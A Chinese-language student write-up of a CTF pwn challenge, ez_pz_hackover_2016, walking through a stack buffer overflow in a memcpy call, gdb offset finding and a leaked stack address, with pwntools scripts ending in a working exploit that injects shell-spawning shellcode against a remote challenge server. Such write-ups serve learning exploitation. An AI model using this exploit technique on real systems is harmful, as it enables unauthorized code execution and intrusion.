昨天和前天学校举办运动会,没咋学习,就做了两道题。我发现做到现在越来越难了,连wp都要看好久,我要独立思考,不能抄了。
这道题第一步要动态分析ebp与输入时在栈上的位置,不能看ida,这道题的ida好像不太准。
第二步,看没有后门函数和可以利用的systemcall,而且什么保护都没有开,就用shellcode在栈上执行这个破解方法呗。
1.溢出点在vuln函数中的memcpy函数,将源地址src拷贝n个字节的数据到dest中,那么就是向dest中输入8+14个字节才能到ebp下面一个,所以要覆盖到ret,需要26字节数据。
运行该脚本,然后在gdb的终端中输入c,再去查看ebp得值,发现是ddee。
# -*- coding: UTF-8 -*-
from pwn import *
context(log_level = 'debug',os='linux',arch='i386')
p = process('./ez_pz_hackover_2016')
gdb.attach(p)#先要在sendline之前打开gdb调试,若是在sendline之后无法调试
p.recvuntil('crash: ')
p.recvuntil("> ")
payload = 'crashme\x00' #为了过memcpy,过了memcpy才有机会执行vuln函数
payload+='aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrsssstttt'
p.sendline(payload)
pause()
stack = int(p.recv(10),16)
payload ='crashme\x00'+'a'*18+p32(0)+asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
~
2.第二点就是泄露shellcode在栈上的偏移,因为程序一开始已经打印出了栈上的一个地址,我们计算shellcode与该地址的偏移即可。
# -*- coding: UTF-8 -*-
from pwn import *
context(log_level = 'debug',os='linux',arch='i386')
p = process('./ez_pz_hackover_2016')
gdb.attach(p)#先要在sendline之前打开gdb调试,若是在sendline之后无法调试
p.recvuntil('crash: ')
stack = int(p.recv(10),16)
payload ='crashme\x00'+'a'*18+p32(0)+asm(shellcraft.sh())
p.recvuntil("> ")
p.sendline(payload) #一开始我在这里被卡住了,因为我用的时p.sendline(p)
pause()
p.interactive()
~
~
然后看到了栈中有传入的shellcode,地址为0xfff5d440,而一开始打印出来的地址为0xfff5d45c,两者相减为0x1c,那么ret为p32(stack-0x1c)
这里每次泄露的地址不一样,因为开了地址随机化,但是偏移地址一定是相同的为0x1c
exp:
#-*- coding=UTF-8 -*-
from pwn import *
context(os='linux',arch='i386',log_level = 'debug')
#sh = process('./ez_pz_hackover_2016')
sh = remote('node3.buuoj.cn',26119)
elf = ELF('./ez_pz_hackover_2016')
shellcode = asm(shellcraft.sh())
#gdb.attach(sh)
sh.recvuntil('Yippie, lets crash: ')
stack_addr = int(sh.recv(10),16)#接收s栈地址
payload = 'crashme\x00'.ljust(26,"\x00") #加crashme\x00共26个字节,其余用\x00补
payload += p32(stack_addr-0x1c) + shellcode
#shellcode的地址是&s-0x1c
sh.recvuntil('>')
sh.sendline(payload)
#pause()
sh.sendline('cat flag')
sh.interactive()
有一个要注意的地方,我动态调试时将payload命名为p,文件名也命名为p,这样会在报错,比如p.sendline§